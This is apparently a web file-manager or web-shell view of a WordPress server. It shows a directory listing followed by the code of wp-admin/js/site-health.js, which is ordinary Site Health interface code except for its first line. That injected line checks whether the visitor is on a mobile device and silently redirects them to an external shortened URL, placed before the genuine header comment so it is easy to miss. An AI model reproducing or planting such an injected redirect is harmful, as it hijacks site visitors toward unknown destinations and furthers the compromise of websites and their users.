at path:ROOT / wp-admin / js / site-health.js
run:R W Run
DIR
2026-08-24 01:53:39
R W Run
3.08 KB
2026-08-13 20:01:43
R W Run
980 By
2026-08-13 20:01:43
R W Run
6.46 KB
2026-08-13 20:01:43
R W Run
3.17 KB
2026-08-13 20:01:43
R W Run
5.88 KB
2026-08-13 20:01:43
R W Run
2.25 KB
2026-08-13 20:01:43
R W Run
17.76 KB
2026-08-13 20:01:43
R W Run
3.68 KB
2026-08-13 20:01:43
R W Run
9.76 KB
2026-08-13 20:01:43
R W Run
3.62 KB
2026-08-13 20:01:43
R W Run
3.07 KB
2026-08-13 20:01:43
R W Run
1.5 KB
2026-08-13 20:01:43
R W Run
61.48 KB
2026-08-13 20:01:43
R W Run
23.42 KB
2026-08-13 20:01:43
R W Run
3.57 KB
2026-08-13 20:01:43
R W Run
1.39 KB
2026-08-13 20:01:43
R W Run
2.19 KB
2026-08-13 20:01:43
R W Run
288.63 KB
2026-08-13 20:01:43
R W Run
109.91 KB
2026-08-13 20:01:43
R W Run
111.68 KB
2026-08-13 20:01:43
R W Run
47.36 KB
2026-08-13 20:01:43
R W Run
70.26 KB
2026-08-13 20:01:43
R W Run
27.62 KB
2026-08-13 20:01:43
R W Run
27.23 KB
2026-08-13 20:01:43
R W Run
8.87 KB
2026-08-13 20:01:43
R W Run
37.46 KB
2026-08-13 20:01:43
R W Run
15.37 KB
2026-08-13 20:01:43
R W Run
41.82 KB
2026-08-13 20:01:43
R W Run
13.35 KB
2026-08-13 20:01:43
R W Run
44.22 KB
2026-08-13 20:01:43
R W Run
13 KB
2026-08-13 20:01:43
R W Run
7.88 KB
2026-08-13 20:01:43
R W Run
5.63 KB
2026-08-13 20:01:43
R W Run
3.87 KB
2026-08-13 20:01:43
R W Run
40.19 KB
2026-08-13 20:01:43
R W Run
15.37 KB
2026-08-13 20:01:43
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
20.41 KB
2026-08-13 20:01:43
R W Run
9.58 KB
2026-08-13 20:01:43
R W Run
7.83 KB
2026-08-13 20:01:43
R W Run
3.14 KB
2026-08-13 20:01:43
R W Run
23.31 KB
2026-08-13 20:01:43
R W Run
1.09 KB
2026-08-13 20:01:43
R W Run
645 By
2026-08-13 20:01:43
R W Run
4.98 KB
2026-08-13 20:01:43
R W Run
2.48 KB
2026-08-13 20:01:43
R W Run
1.49 KB
2026-08-13 20:01:43
R W Run
833 By
2026-08-13 20:01:43
R W Run
3.6 KB
2026-08-13 20:01:43
R W Run
1.34 KB
2026-08-13 20:01:43
R W Run
6.82 KB
2026-08-13 20:01:43
R W Run
2.6 KB
2026-08-13 20:01:43
R W Run
61.37 KB
2026-08-13 20:01:43
R W Run
30.28 KB
2026-08-13 20:01:43
R W Run
4.35 KB
2026-08-13 20:01:43
R W Run
1.31 KB
2026-08-13 20:01:43
R W Run
1.52 KB
2026-08-13 20:01:43
R W Run
1.04 KB
2026-08-13 20:01:43
R W Run
7.14 KB
2026-08-13 20:01:43
R W Run
2.56 KB
2026-08-13 20:01:43
R W Run
39.75 KB
2026-08-13 20:01:43
R W Run
19.17 KB
2026-08-13 20:01:43
R W Run
18.71 KB
2026-08-13 20:01:43
R W Run
6.82 KB
2026-08-13 20:01:43
R W Run
10.88 KB
2026-08-13 20:01:43
R W Run
5.25 KB
2026-08-13 20:01:43
R W Run
34.13 KB
2026-08-13 20:01:43
R W Run
18.19 KB
2026-08-13 20:01:43
R W Run
1.07 KB
2026-08-13 20:01:43
R W Run
842 By
2026-08-13 20:01:43
R W Run
13.77 KB
2026-08-13 20:01:43
R W Run
6.54 KB
2026-08-13 20:01:43
R W Run
6.31 KB
2026-08-13 20:01:43
R W Run
2.42 KB
2026-08-13 20:01:43
R W Run
3.42 KB
2026-08-13 20:01:43
R W Run
1.75 KB
2026-08-13 20:01:43
R W Run
11.1 KB
2026-08-13 20:01:43
R W Run
3.22 KB
2026-08-13 20:01:43
R W Run
5.85 KB
2026-08-13 20:01:43
R W Run
2.43 KB
2026-08-13 20:01:43
R W Run
6.17 KB
2026-08-13 20:01:43
R W Run
2.63 KB
2026-08-13 20:01:43
R W Run
25.78 KB
2026-08-13 20:01:43
R W Run
12.04 KB
2026-08-13 20:01:43
R W Run
55.16 KB
2026-08-13 20:01:43
R W Run
26.72 KB
2026-08-13 20:01:43
R W Run
109.59 KB
2026-08-13 20:01:43
R W Run
47.52 KB
2026-08-13 20:01:43
R W Run
18.13 KB
2026-08-13 20:01:43
R W Run
8.03 KB
2026-08-13 20:01:43
R W Run
2.46 KB
2026-08-13 20:01:43
R W Run
898 By
2026-08-13 20:01:43
R W Run
22.77 KB
2026-08-13 20:01:43
R W Run
12.53 KB
2026-08-13 20:01:43
R W Run
7.73 KB
2026-08-13 20:01:43
R W Run
1.71 KB
2026-08-13 20:01:43
R W Run
962 By
2026-08-13 20:01:43
R W Run
680 By
2026-08-13 20:01:43
R W Run
error_log
📄site-health.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * Interactions used by the Site Health modules in WordPress.
4 *
5 * @output wp-admin/js/site-health.js
6 */
7
8/* global ajaxurl, ClipboardJS, SiteHealth, wp */
9
10jQuery( function( $ ) {
11
12 var __ = wp.i18n.__,
13 _n = wp.i18n._n,
14 sprintf = wp.i18n.sprintf,
15 clipboard = new ClipboardJS( '.site-health-copy-buttons .copy-button' ),
16 isStatusTab = $( '.health-check-body.health-check-status-tab' ).length,
17 isDebugTab = $( '.health-check-body.health-check-debug-tab' ).length,
18 pathsSizesSection = $( '#health-check-accordion-block-wp-paths-sizes' ),
19 menuCounterWrapper = $( '#adminmenu .site-health-counter' ),
20 menuCounter = $( '#adminmenu .site-health-counter .count' ),
21 successTimeout;
22
23 // Debug information copy section.
24 clipboard.on( 'success', function( e ) {
25 var triggerElement = $( e.trigger ),
26 successElement = $( '.success', triggerElement.closest( 'div' ) );
27
28 // Clear the selection and move focus back to the trigger.
29 e.clearSelection();
30
31 // Show success visual feedback.
32 clearTimeout( successTimeout );
33 successElement.removeClass( 'hidden' );
34
35 // Hide success visual feedback after 3 seconds since last success.
36 successTimeout = setTimeout( function() {
37 successElement.addClass( 'hidden' );
38 }, 3000 );
39
40 // Handle success audible feedback.
41 wp.a11y.speak( __( 'Site information has been copied to your clipboard.' ) );
42 } );
43
44 // Accordion handling in various areas.
45 $( '.health-check-accordion' ).on( 'click', '.health-check-accordion-trigger', function() {
46 var isExpanded = ( 'true' === $( this ).attr( 'aria-expanded' ) );
47
48 if ( $( this ).prop( 'id' ) ) {
49 window.location.hash = $( this ).prop( 'id' );
50 }
51
52 if ( isExpanded ) {
53 $( this ).attr( 'aria-expanded', 'false' );
54 $( '#' + $( this ).attr( 'aria-controls' ) ).attr( 'hidden', true );
55 } else {
56 $( this ).attr( 'aria-expanded', 'true' );
57 $( '#' + $( this ).attr( 'aria-controls' ) ).attr( 'hidden', false );
58 }
59 } );
60
61 /* global setTimeout */
62 wp.domReady( function() {
63 // Get hash from query string and open the related accordion.
64 var hash = window.location.hash;
65
66 if ( hash ) {
67 var requestedPanel = $( hash );
68
69 if ( requestedPanel.is( '.health-check-accordion-trigger' ) ) {
70 requestedPanel.trigger( 'click' );
71 }
72 }
73 } );
74
75 // Site Health test handling.
76
77 $( '.site-health-view-passed' ).on( 'click', function() {
78 var goodIssuesWrapper = $( '#health-check-issues-good' );
79
80 goodIssuesWrapper.toggleClass( 'hidden' );
81 $( this ).attr( 'aria-expanded', ! goodIssuesWrapper.hasClass( 'hidden' ) );
82 } );
83
84 /**
85 * Validates the Site Health test result format.
86 *
87 * @since 5.6.0
88 *
89 * @param {Object} issue
90 *
91 * @return {boolean}
92 */
93 function validateIssueData( issue ) {
94 // Expected minimum format of a valid SiteHealth test response.
95 var minimumExpected = {
96 test: 'string',
97 label: 'string',
98 description: 'string'
99 },
100 passed = true,
101 key, value, subKey, subValue;
102
103 // If the issue passed is not an object, return a `false` state early.
104 if ( 'object' !== typeof( issue ) ) {
105 return false;
106 }
107
108 // Loop over expected data and match the data types.
109 for ( key in minimumExpected ) {
110 value = minimumExpected[ key ];
111
112 if ( 'object' === typeof( value ) ) {
113 for ( subKey in value ) {
114 subValue = value[ subKey ];
115
116 if ( 'undefined' === typeof( issue[ key ] ) ||
117 'undefined' === typeof( issue[ key ][ subKey ] ) ||
118 subValue !== typeof( issue[ key ][ subKey ] )
119 ) {
120 passed = false;
121 }
122 }
123 } else {
124 if ( 'undefined' === typeof( issue[ key ] ) ||
125 value !== typeof( issue[ key ] )
126 ) {
127 passed = false;
128 }
129 }
130 }
131
132 return passed;
133 }
134
135 /**
136 * Appends a new issue to the issue list.
137 *
138 * @since 5.2.0
139 *
140 * @param {Object} issue The issue data.
141 */
142 function appendIssue( issue ) {
143 var template = wp.template( 'health-check-issue' ),
144 issueWrapper = $( '#health-check-issues-' + issue.status ),
145 heading,
146 count;
147
148 /*
149 * Validate the issue data format before using it.
150 * If the output is invalid, discard it.
151 */
152 if ( ! validateIssueData( issue ) ) {
153 return false;
154 }
155
156 SiteHealth.site_status.issues[ issue.status ]++;
157
158 count = SiteHealth.site_status.issues[ issue.status ];
159
160 // If no test name is supplied, append a placeholder for markup references.
161 if ( typeof issue.test === 'undefined' ) {
162 issue.test = issue.status + count;
163 }
164
165 if ( 'critical' === issue.status ) {
166 heading = sprintf(
167 _n( '%s critical issue', '%s critical issues', count ),
168 '<span class="issue-count">' + count + '</span>'
169 );
170 } else if ( 'recommended' === issue.status ) {
171 heading = sprintf(
172 _n( '%s recommended improvement', '%s recommended improvements', count ),
173 '<span class="issue-count">' + count + '</span>'
174 );
175 } else if ( 'good' === issue.status ) {
176 heading = sprintf(
177 _n( '%s item with no issues detected', '%s items with no issues detected', count ),
178 '<span class="issue-count">' + count + '</span>'
179 );
180 }
181
182 if ( heading ) {
183 $( '.site-health-issue-count-title', issueWrapper ).html( heading );
184 }
185
186 menuCounter.text( SiteHealth.site_status.issues.critical );
187
188 if ( 0 < parseInt( SiteHealth.site_status.issues.critical, 0 ) ) {
189 $( '#health-check-issues-critical' ).removeClass( 'hidden' );
190
191 menuCounterWrapper.removeClass( 'count-0' );
192 } else {
193 menuCounterWrapper.addClass( 'count-0' );
194 }
195 if ( 0 < parseInt( SiteHealth.site_status.issues.recommended, 0 ) ) {
196 $( '#health-check-issues-recommended' ).removeClass( 'hidden' );
197 }
198
199 $( '.issues', '#health-check-issues-' + issue.status ).append( template( issue ) );
200 }
201
202 /**
203 * Updates site health status indicator as asynchronous tests are run and returned.
204 *
205 * @since 5.2.0
206 */
207 function recalculateProgression() {
208 var r, c, pct;
209 var $progress = $( '.site-health-progress' );
210 var $wrapper = $progress.closest( '.site-health-progress-wrapper' );
211 var $progressLabel = $( '.site-health-progress-label', $wrapper );
212 var $circle = $( '.site-health-progress svg #bar' );
213 var totalTests = parseInt( SiteHealth.site_status.issues.good, 0 ) +
214 parseInt( SiteHealth.site_status.issues.recommended, 0 ) +
215 ( parseInt( SiteHealth.site_status.issues.critical, 0 ) * 1.5 );
216 var failedTests = ( parseInt( SiteHealth.site_status.issues.recommended, 0 ) * 0.5 ) +
217 ( parseInt( SiteHealth.site_status.issues.critical, 0 ) * 1.5 );
218 var val = 100 - Math.ceil( ( failedTests / totalTests ) * 100 );
219
220 if ( 0 === totalTests ) {
221 $progress.addClass( 'hidden' );
222 return;
223 }
224
225 $wrapper.removeClass( 'loading' );
226
227 r = $circle.attr( 'r' );
228 c = Math.PI * ( r * 2 );
229
230 if ( 0 > val ) {
231 val = 0;
232 }
233 if ( 100 < val ) {
234 val = 100;
235 }
236
237 pct = ( ( 100 - val ) / 100 ) * c + 'px';
238
239 $circle.css( { strokeDashoffset: pct } );
240
241 if ( 80 <= val && 0 === parseInt( SiteHealth.site_status.issues.critical, 0 ) ) {
242 $wrapper.addClass( 'green' ).removeClass( 'orange' );
243
244 $progressLabel.text( __( 'Good' ) );
245 announceTestsProgression( 'good' );
246 } else {
247 $wrapper.addClass( 'orange' ).removeClass( 'green' );
248
249 $progressLabel.text( __( 'Should be improved' ) );
250 announceTestsProgression( 'improvable' );
251 }
252
253 if ( isStatusTab ) {
254 $.post(
255 ajaxurl,
256 {
257 'action': 'health-check-site-status-result',
258 '_wpnonce': SiteHealth.nonce.site_status_result,
259 'counts': SiteHealth.site_status.issues
260 }
261 );
262
263 if ( 100 === val ) {
264 $( '.site-status-all-clear' ).removeClass( 'hide' );
265 $( '.site-status-has-issues' ).addClass( 'hide' );
266 }
267 }
268 }
269
270 /**
271 * Queues the next asynchronous test when we're ready to run it.
272 *
273 * @since 5.2.0
274 */
275 function maybeRunNextAsyncTest() {
276 var doCalculation = true;
277
278 if ( 1 <= SiteHealth.site_status.async.length ) {
279 $.each( SiteHealth.site_status.async, function() {
280 var data = {
281 'action': 'health-check-' + this.test.replace( '_', '-' ),
282 '_wpnonce': SiteHealth.nonce.site_status
283 };
284
285 if ( this.completed ) {
286 return true;
287 }
288
289 doCalculation = false;
290
291 this.completed = true;
292
293 if ( 'undefined' !== typeof( this.has_rest ) && this.has_rest ) {
294 wp.apiRequest( {
295 url: wp.url.addQueryArgs( this.test, { _locale: 'user' } ),
296 headers: this.headers
297 } )
298 .done( function( response ) {
299 /** This filter is documented in wp-admin/includes/class-wp-site-health.php */
300 appendIssue( wp.hooks.applyFilters( 'site_status_test_result', response ) );
301 } )
302 .fail( function( response ) {
303 var description;
304
305 if ( 'undefined' !== typeof( response.responseJSON ) && 'undefined' !== typeof( response.responseJSON.message ) ) {
306 description = response.responseJSON.message;
307 } else {
308 description = __( 'No details available' );
309 }
310
311 addFailedSiteHealthCheckNotice( this.url, description );
312 } )
313 .always( function() {
314 maybeRunNextAsyncTest();
315 } );
316 } else {
317 $.post(
318 ajaxurl,
319 data
320 ).done( function( response ) {
321 /** This filter is documented in wp-admin/includes/class-wp-site-health.php */
322 appendIssue( wp.hooks.applyFilters( 'site_status_test_result', response.data ) );
323 } ).fail( function( response ) {
324 var description;
325
326 if ( 'undefined' !== typeof( response.responseJSON ) && 'undefined' !== typeof( response.responseJSON.message ) ) {
327 description = response.responseJSON.message;
328 } else {
329 description = __( 'No details available' );
330 }
331
332 addFailedSiteHealthCheckNotice( this.url, description );
333 } ).always( function() {
334 maybeRunNextAsyncTest();
335 } );
336 }
337
338 return false;
339 } );
340 }
341
342 if ( doCalculation ) {
343 recalculateProgression();
344 }
345 }
346
347 /**
348 * Add the details of a failed asynchronous test to the list of test results.
349 *
350 * @since 5.6.0
351 */
352 function addFailedSiteHealthCheckNotice( url, description ) {
353 var issue;
354
355 issue = {
356 'status': 'recommended',
357 'label': __( 'A test is unavailable' ),
358 'badge': {
359 'color': 'red',
360 'label': __( 'Unavailable' )
361 },
362 'description': '<p>' + url + '</p><p>' + description + '</p>',
363 'actions': ''
364 };
365
366 /** This filter is documented in wp-admin/includes/class-wp-site-health.php */
367 appendIssue( wp.hooks.applyFilters( 'site_status_test_result', issue ) );
368 }
369
370 if ( 'undefined' !== typeof SiteHealth ) {
371 if ( 0 === SiteHealth.site_status.direct.length && 0 === SiteHealth.site_status.async.length ) {
372 recalculateProgression();
373 } else {
374 SiteHealth.site_status.issues = {
375 'good': 0,
376 'recommended': 0,
377 'critical': 0
378 };
379 }
380
381 if ( 0 < SiteHealth.site_status.direct.length ) {
382 $.each( SiteHealth.site_status.direct, function() {
383 appendIssue( this );
384 } );
385 }
386
387 if ( 0 < SiteHealth.site_status.async.length ) {
388 maybeRunNextAsyncTest();
389 } else {
390 recalculateProgression();
391 }
392 }
393
394 function getDirectorySizes() {
395 var timestamp = ( new Date().getTime() );
396
397 // After 3 seconds announce that we're still waiting for directory sizes.
398 var timeout = window.setTimeout( function() {
399 announceTestsProgression( 'waiting-for-directory-sizes' );
400 }, 3000 );
401
402 wp.apiRequest( {
403 path: '/wp-site-health/v1/directory-sizes'
404 } ).done( function( response ) {
405 updateDirSizes( response || {} );
406 } ).always( function() {
407 var delay = ( new Date().getTime() ) - timestamp;
408
409 $( '.health-check-wp-paths-sizes.spinner' ).css( 'visibility', 'hidden' );
410
411 if ( delay > 3000 ) {
412 /*
413 * We have announced that we're waiting.
414 * Announce that we're ready after giving at least 3 seconds
415 * for the first announcement to be read out, or the two may collide.
416 */
417 if ( delay > 6000 ) {
418 delay = 0;
419 } else {
420 delay = 6500 - delay;
421 }
422
423 window.setTimeout( function() {
424 recalculateProgression();
425 }, delay );
426 } else {
427 // Cancel the announcement.
428 window.clearTimeout( timeout );
429 }
430
431 $( document ).trigger( 'site-health-info-dirsizes-done' );
432 } );
433 }
434
435 function updateDirSizes( data ) {
436 var copyButton = $( 'button.button.copy-button' );
437 var clipboardText = copyButton.attr( 'data-clipboard-text' );
438
439 $.each( data, function( name, value ) {
440 var text = value.debug || value.size;
441
442 if ( typeof text !== 'undefined' ) {
443 clipboardText = clipboardText.replace( name + ': loading...', name + ': ' + text );
444 }
445 } );
446
447 copyButton.attr( 'data-clipboard-text', clipboardText );
448
449 pathsSizesSection.find( 'td[class]' ).each( function( i, element ) {
450 var td = $( element );
451 var name = td.attr( 'class' );
452
453 if ( data.hasOwnProperty( name ) && data[ name ].size ) {
454 td.text( data[ name ].size );
455 }
456 } );
457 }
458
459 if ( isDebugTab ) {
460 if ( pathsSizesSection.length ) {
461 getDirectorySizes();
462 } else {
463 recalculateProgression();
464 }
465 }
466
467 // Trigger a class toggle when the extended menu button is clicked.
468 $( '.health-check-offscreen-nav-wrapper' ).on( 'click', function() {
469 $( this ).toggleClass( 'visible' );
470 } );
471
472 /**
473 * Announces to assistive technologies the tests progression status.
474 *
475 * @since 6.4.0
476 *
477 * @param {string} type The type of message to be announced.
478 *
479 * @return {void}
480 */
481 function announceTestsProgression( type ) {
482 // Only announce the messages in the Site Health pages.
483 if ( 'site-health' !== SiteHealth.screen ) {
484 return;
485 }
486
487 switch ( type ) {
488 case 'good':
489 wp.a11y.speak( __( 'All site health tests have finished running. Your site is looking good.' ) );
490 break;
491 case 'improvable':
492 wp.a11y.speak( __( 'All site health tests have finished running. There are items that should be addressed.' ) );
493 break;
494 case 'waiting-for-directory-sizes':
495 wp.a11y.speak( __( 'Running additional tests... please wait.' ) );
496 break;
497 default:
498 return;
499 }
500 }
501} );
502